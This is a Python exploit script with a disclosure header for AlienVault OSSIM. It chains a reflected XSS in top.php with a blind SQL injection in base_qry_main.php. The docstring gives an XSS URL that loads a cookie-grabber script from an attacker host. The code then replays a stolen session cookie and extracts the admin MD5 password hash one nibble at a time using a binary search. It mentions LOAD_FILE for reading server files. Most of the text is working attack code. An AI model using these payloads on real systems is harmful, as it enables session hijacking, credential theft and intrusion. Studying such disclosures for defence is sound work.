#!/usr/bin/python
'''
AlienVault has a reflected XSS vulnerability in the "url" parameter of "top.php".
Proof of Concept:
Enticing a logged in user to visit the following URL where an attacker is hosting an cookie grabber will allow for the hijacking of the user session:
https://victim/ossim/top.php?option=3&soption=3&url=<script src=http://attacker/grabber.js></script>
With a cookie captured and a session hijacked, the blind SQL injection vulnerability in the "tcp_port" parameter of "base_qry_main.php" can be exploited to extract the admin hash.
Timeline:
# 28 May 2012: Vulnerability reported to CERT
# 30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
# 23 Jul 2012: Update from CERT: No response from AlienVault
# 23 Jul 2012: Public Disclosure
Special Thanks to Tal Zeltzer
When we access the vulnerable script at:
https://victim/ossim/forensics/base_qry_main.php
With an invalid sql statement in tcp_port[0][0] we see that there is an sql injection vulnerability
[Todo]: Add here description on how we got the original query
We concluded that since magic_quotes_gpc is enabled it will be difficult to obtain a shell quickly.
We decided to take a different approach, we will modify the query in a way that it will only return rows
If a specific field we are interested in has X as the Nth byte.
To optimize the speed we used an algorithm called 'binary search'
what we do is: (n being the Nth byte of the result string):
- check if X equals n
- If its not check if X is bigger than n
- If its not, X is smaller than n
We used this algorithm to extract data from files using the LOAD_FILE function
We also used this algorithm to extract the admin MD5 hashed password
'''
import sys,urllib2,urllib
# Example
# https://victim/ossim/forensics/base_qry_main.php?tcp_port[0][0]=1=1) and 2 = mid((select pass from ossim.users where login=0x61646d696e),1,1)--&tcp_port[0][1]=layer4_dport&tcp_port[0][2]==&tcp_port[0][3]=17500&tcp_port[0][4]= &tcp_port[0][5]= &tcp_flags[0]= &layer4=TCP&num_result_rows=-1¤t_view=-1&submit=QUERYDBP&sort_order=sig_a&clear_allcriteria=1&clear_criteria=time
target = 'https://victim/ossim/forensics/base_qry_main.php'
cookie = 'PHPSESSID=072af2ba52959b1602cc8fa864081d01'
debug = False
#
# We use this function to output debug information if required
#
def debugOut(str, newLine = True):
if debug == True:
if newLine == True:
print str
else:
print str,
#
# Injects the given sql-query and check if the results were 'True' or 'False'
#
def sendSql(query):
global target, cookie # We use the cookie and the target variables as globals
debugOut("Query: %s" % query) # Print the query we execute for debugging
values = { 'tcp_port[0][0]': query, # This is our injection parameter
'tcp_port[0][1]': 'layer4_dport',
'tcp_port[0][2]': '=',
'tcp_port[0][3]': 17500,
'tcp_port[0][4]': ' ',
'tcp_port[0][5]': ' ',
'tcp_flags[0]': ' ',
'layer4': 'TCP',
'num_result_rows': -1,
'current_view': -1,
'submit': 'QUERYDBP',
'sort_order': 'sig_a',
'clear_allcriteria': 1,
'clear_criteria': 'time' }
url = "%s?%s" % (target, urllib.urlencode(values)) # Create the request url
req = urllib2.Request(url) # Create a request for the specified url
req.add_header('Cookie', cookie) # Add the cookie we stolen using XSS to identify ourselves
try: # Exception handling
response = urllib2.urlopen(req) # Send the request and save the response object
except: # In-case of an exception
print 'Failed to SQL inject' # Notify the user that there was an error
sys.exit(-1) # Stop execution of our exploit
data = response.read() # Read the response data
# If the string 'No events...' is in not in our data the query is 'True'
return('No events matching your search criteria have been found' not in data)
#
# This function enumerates the value of a single nibble out of the admin hash
# It uses the "binary search" algorithm to narrow down the number of requests we send
#
def enumerateNibble(subQuery, location, iMin = 0x00, iMax = 0x0F):
n = (iMin + iMax) / 2 # Get the middle of our range
debugOut('Trying %d' % n, False) # Notify what value is we comparing the nibble to
# Test if the current value equals the nibble
if sendSql('1=1) and %s = cast(conv(mid(%s,%d,1), 16, 10) as unsigned integer)--' % (n, subQuery, location)) == True:
debugOut('Equals!') # If it is, notify
return(hex(n)[2:]) # Return the hex representation of the nibble's value
# Test if the current value is bigger than the nibble
elif sendSql('1=1) and %s > cast(conv(mid(%s,%d,1),16,10) as unsigned integer)--' % (n, subQuery, location)) == True:
debugOut('Bigger than') # If it is, notify
return(enumerateNibble(subQuery, location, iMin, n - 1)) # Use recursion to try again with the new reduced range
else: # If the current value is smaller than the nibble
debugOut('Smaller than') # If it is, notify
return(enumerateNibble(subQuery, location, n + 1, iMax)) # Use recursion to try again with the new reduced range
#
# Do the actual enumeration of the admin-hash
#
def enumerateAdminHash():
hash = '' # Initialize the 'hash' variable
for i in range(1,33): # Iterate from 1 to 32 (the size of the md5 hash)
# Append the nibble we enumerate from the given query
# (This query retrives the administrator hash (obviously..)
hash += str(enumerateNibble('(select pass from ossim.users where login=0x61646d696e)', i))
print 'At %d, So far: %s' % (i, hash) # Notify about our progress
return(hash) # When done, return the hash we enumerated
print "Trying to dump the administrator's hash"
print "Note: If we get stuck or get invalid results it's probably due to an invalid session"
hash = enumerateAdminHash()
print "Administrator MD5 hash:"
print "admin:%s" % hash